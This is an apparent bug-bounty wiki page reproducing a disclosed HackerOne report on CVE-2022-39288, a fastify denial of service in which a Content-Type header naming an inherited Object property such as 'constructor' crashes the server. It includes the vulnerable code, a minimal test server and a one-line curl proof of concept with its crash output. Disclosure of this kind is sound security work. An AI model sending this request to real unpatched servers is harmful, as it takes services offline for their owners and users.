Skip to content
DoS Disclosed report Intermediate CVE-2022-39288

Deny of service via malicious Content-Type

The content-type parser lookup in fastify used a plain object membership check, so a Content-Type header naming an inherited Object property such as constructor returned a built-in function instead of a parser. Calling that value as a parser then threw a TypeError and crashed the whole server process.

bitk Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in under an hour
  • Fixed in 12 days
  • Disclosed after 12 days

Summary:

I found a way to crash a [email protected] server with a single query on a minimal setup.

The function ContentTypeParser.getParser() do not check properly if the requested content-type parser exists.

/lib/contentTypeParser.js:94

JavaScript
ContentTypeParser.prototype.getParser = function (contentType) {
  if (contentType in this.customParsers) {
    return this.customParsers[contentType]
  }

...

If an attacker send constructor or any default Object attribute, the function will return something unexpected instead of a parser, here the function returns [Function: Object].

Then the parser.fn function is called. /lib/contentTypeParser.js:94

JavaScript
    const result = parser.fn(request, request[kRequestPayloadStream], done)

Because parser.fn is undefined, the application crashes.

Steps To Reproduce:

I used the code provided in the documentation

index.js

JavaScript
const fastify = require('fastify')({
  logger: true
})

// Declare a route
fastify.get('/', function (request, reply) {
  reply.send({ hello: 'world' })
})

// Run the server!
fastify.listen({ port: 3000 }, function (err, address) {
  if (err) {
    fastify.log.error(err)
    process.exit(1)
  }
  // Server is now listening on ${address}
})

Start the server:

> node index.js
{"level":30,"time":1664375818521,"pid":8587,"hostname":"localhost","msg":"Server listening at http://127.0.0.1:3000"}

When the server is ready, send the following POST request

> curl -X POST http://127.0.0.1:3000 -H 'Content-Type: constructor'
curl: (52) Empty reply from server

The server had crashed with

TypeError: parser.fn is not a function

Impact

A malicious actor can crash any fastify server as long as they are able to send a Content-type header.

The original report as published on HackerOne, by bitk. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The parser lookup used the `in` operator on a plain object, so inherited Object prototype properties were treated as registered parsers and the code then called a non-parser value.

Impact

Any fastify server could be crashed by anyone able to send a Content-Type header, causing a denial of service.

What the attacker needed

Network access to the server; no authentication needed

How it was found

  1. Start a minimal fastify server using the getting-started example code.
  2. Send a POST request whose Content-Type header names an inherited Object property.
  3. Observe the server process crash with a TypeError.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server looks at the Content-Type header to decide how to read the body of a request. Fastify kept its list of body readers in a plain JavaScript object, and such objects also answer to built-in names like constructor. Sending one of those names made the server pick the wrong thing and then crash, so one request could take the whole service down.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from Fastify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.